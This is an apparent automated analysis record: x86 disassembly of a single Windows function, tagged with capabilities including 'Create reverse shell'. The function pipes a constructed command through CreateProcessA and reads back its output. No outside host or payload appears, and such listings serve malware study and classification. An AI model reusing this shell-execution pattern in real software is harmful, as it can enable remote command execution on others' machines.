Function at 0x405818
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [ebp + 0x18]
push ebx
xor ebx, ebx
push esi
mov ecx, dword [eax]
push edi
mov dword [eax], ebx
xor eax, eax
lea edi, [ebp - 8]
mov esi, 0x200
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 1
call edi
test eax, eax
je 0x4059ef
lea eax, [ebp - 0x20]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call edi
test eax, eax
je 0x4059ef
push 0x11
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
pop ecx
xor eax, eax
lea edi, [ebp - 0x74]
push ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 8]
push 1
push dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 0x48], 0x100
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call esi
push ebx
push 1
push dword [ebp - 4]
call esi
mov ax, word [0x415c68]
or ecx, 0xffffffff
mov word [ebp - 0x474], ax
mov eax, dword [ebp + 0x10]
lea edx, [ebp - 0x474]
mov edi, dword [eax]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x474]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0xc]
dec edi
mov esi, 0x415c6c
cmp eax, 1
movsw word es:[edi], word [esi]
jle 0x405978
mov ecx, dword [ebp + 0x10]
add ecx, 4
dec eax
mov dword [ebp + 0x10], ecx
mov dword [ebp + 0xc], eax
lea edi, [ebp - 0x474]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x415c70
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x10]
dec edi
movsw word es:[edi], word [esi]
mov edi, dword [eax]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x474]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
add dword [ebp + 0x10], 4
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
dec dword [ebp + 0xc]
rep movsb byte es:[edi], byte [esi]
jne 0x40592a
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0x474]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, eax
cmp edi, ebx
je 0x4059ab
cmp dword [ebp - 0x30], ebx
je 0x4059ab
push 0xffffffffffffffff
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
cmp edi, ebx
je 0x4059e5
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x30]
call esi
mov edi, dword [ebp + 0x14]
push ebx
push dword [ebp + 0x18]
push dword [ebp - 0x14]
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
mov byte [eax + edi], bl
push dword [ebp - 0x10]
call esi
push dword [ebp - 4]
jmp 0x405a07
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret